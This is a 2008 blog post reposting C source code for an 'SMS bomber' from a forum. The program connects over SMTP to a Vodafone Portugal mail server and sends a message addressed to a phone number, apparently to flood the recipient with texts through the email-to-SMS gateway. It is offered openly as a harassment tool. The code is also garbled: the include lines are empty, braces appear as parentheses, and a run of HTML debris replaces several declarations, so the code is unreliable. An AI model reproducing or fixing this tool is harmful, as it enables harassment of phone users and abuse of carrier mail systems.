Saturday, December 27, 2008

Source SMS Bomber

# include
# include
# include
# include
# include
# include
# include

int main (int argc, char * argv [])
(
int sock;
char number [15], nomor2 [15];
char smtp [] = "mx.vodafone.pt"; <-smtp 0="" 160="" 1="" a="" address="" char="" d="" error="" fgets="" for="" from:="" from="" hav0c="" hostent="" if="" line.="" mail="" max="" message="" msg="=" n="" nenter="" new="" nter="" null="" number2="=" number="" numbers::="" o="" perror="" phone="" printf="" provider="" r="" rcpt="" return="" rror="" s="" sender="" serv_addr="" server="=" sizeof="" smtp="" sock="=" sock_stream="" sockaddr_in="" socket="" sprintf="" stdin="" struct="" subject="" the="" to="" use="" vodafone.pt=""> \ r \ n", number, provider);
sprintf (rcpt, "rcpt to: <% d% s> \ r \ n", nomor2, provider);

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons (25);
serv_addr.sin_addr = * ((struct in_addr *) server-> h_addr);

if (connect (sock, (struct sockaddr *) & serv_addr, sizeof (serv_addr))! = NULL) (
perror ( "Error connection to the server");
return 1;
)
if (send (sock, O, strlen (O), 0) == -1) (
perror ( "Error tell data1");
return 1;
)
if (send (sock, mail, strlen (mail), 0) == -1) (
perror ( "Error tell data2");
return 1;
)
if (send (sock, rcpt, strlen (rcpt), 0) == -1) (
perror ( "Error tell data3");
return 1;
)
if (send (sock, subject, strlen (subject), 0) == -1) (
perror ( "Error tell data4");
return 1;
)
if (send (sock, "DATA \ r \ n", 10.0) == -1) (
perror ( "Error data5 tell");
return 1;
)
if (send (sock, msg, strlen (msg), 0) == -1) (
perror ( "Error data6 tell");
return 1;
)
send (sock, ". \ r \ n", 5.0);
if (send (sock, "quit \ r \ n", 10.0) == -1) (
perror ( "Error send data ');
return 1;
)
else (
printf ( "Message sent successfully \ n");
return 0;
)
)

Source: http://www.yogyafree.net/forum2/viewtopic.php?t=7432
http://davidliauw.blogspot.com/2007/08/source-sms-bomber.html

No comments:

Post a Comment

Template Designed by Mastemplate